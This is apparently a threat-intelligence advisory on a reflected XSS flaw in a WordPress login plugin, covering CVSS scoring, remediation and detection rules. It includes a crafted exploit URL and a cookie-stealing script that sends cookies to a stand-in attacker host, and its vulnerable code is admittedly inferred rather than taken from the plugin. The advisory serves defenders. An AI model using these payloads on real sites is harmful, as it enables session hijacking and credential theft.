CVE-2025-23587

Executive Summary

CVE-2025-23587 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin all-in-one-box-login (also known as all-in-one-login) by Ashek Al Mahmud, affecting versions up to and including 2.0.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and exploitation requires user interaction (e.g., clicking a crafted link). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. Since no patch exists, the plugin should be considered compromised and removed until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is High due to the low complexity and network-based attack vector, though user interaction is required. Successful exploitation can lead to data theft and session compromise.

Deep Dive & Mechanics

The vulnerability exists in the WordPress plugin all-in-one-box-login, which provides a unified login box for WordPress sites. The plugin fails to properly sanitize or escape user-supplied input (likely via GET or POST parameters) before reflecting it in the HTML response. This allows an attacker to inject malicious JavaScript that executes in the context of the victim's browser.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output without applying WordPress's built-in escaping functions like esc_html() or esc_attr(). This is a classic reflected XSS flaw.

Attack Flow:

1. Attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter (e.g., ?login_error=<script>alert('XSS')</script>).
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The plugin reflects the payload in the page without sanitization.
4. The victim's browser executes the script, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from typical WordPress plugin XSS:

Vulnerable Code (PHP):

<?php
// all-in-one-box-login.php (vulnerable)
$error = $_GET['login_error'];
echo "<div class='error'>$error</div>";
?>

Patched Code (Hypothetical):

<?php
// Patched version
$error = isset($_GET['login_error']) ? esc_html($_GET['login_error']) : '';
echo "<div class='error'>" . $error . "</div>";
?>

The patched version uses esc_html() to neutralize HTML/JavaScript, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (<= 2.0.1) installed and activated.
• Ability to craft and deliver a malicious link to a logged-in admin user.

Exploit Payload:

<script>alert(document.cookie)</script>

Crafted URL:

http://target-site.com/wp-login.php?login_error=<script>alert(document.cookie)</script>

Steps:

1. Identify the vulnerable parameter (e.g., login_error, msg, or error).
2. Craft a URL with a JavaScript payload that exfiltrates cookies to an attacker-controlled server.
3. Deliver the link via phishing email or social media.
4. When the victim clicks, the script executes, sending cookies to the attacker.

Advanced Payload (Cookie Stealing):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for suspicious query strings containing <script> or onerror= patterns.
• Use WAF rules to block reflected XSS attempts (e.g., ModSecurity rule 942100).
• Deploy Content Security Policy (CSP) headers to restrict inline script execution.

Defense:

• Immediately disable or remove the plugin until a patch is released.
• Implement input validation and output escaping for all user-supplied data.
• Use WordPress's built-in functions like esc_html(), esc_attr(), and wp_kses().

Indicators of Compromise (IOCs)

• URL Patterns: ?login_error=<script>, ?msg=<script>, ?error=<script>
• HTTP Request Parameters: login_error, msg, error containing HTML/JavaScript
• Referer Headers: Suspicious referrers from phishing domains
• Server Logs: Repeated requests with <script> tags in query strings
• Cookie Exfiltration: Outbound connections to unknown IPs/domains from the WordPress server

Detection Engineering

YARA Rule

rule CVE_2025_23587_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against all-in-one-box-login plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23587"
    strings:
        $payload1 = /login_error=.*<script/i
        $payload2 = /msg=.*<script/i
        $payload3 = /error=.*<script/i
        $payload4 = /onerror=/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS Attempt Against all-in-one-box-login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'login_error=<script'
            - 'msg=<script'
            - 'error=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23587 Reflected XSS Attempt"; flow:to_server,established; content:"login_error"; http_uri; nocase; content:"<script"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review web server logs for signs of exploitation.
3. Rotate all WordPress admin credentials if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or esc_attr().
• Users should apply the patch as soon as it becomes available.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
• Add a Content Security Policy (CSP) header: default-src 'self'; script-src 'self'.
• Use WordPress security plugins like Wordfence or Sucuri to add an extra layer of protection.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert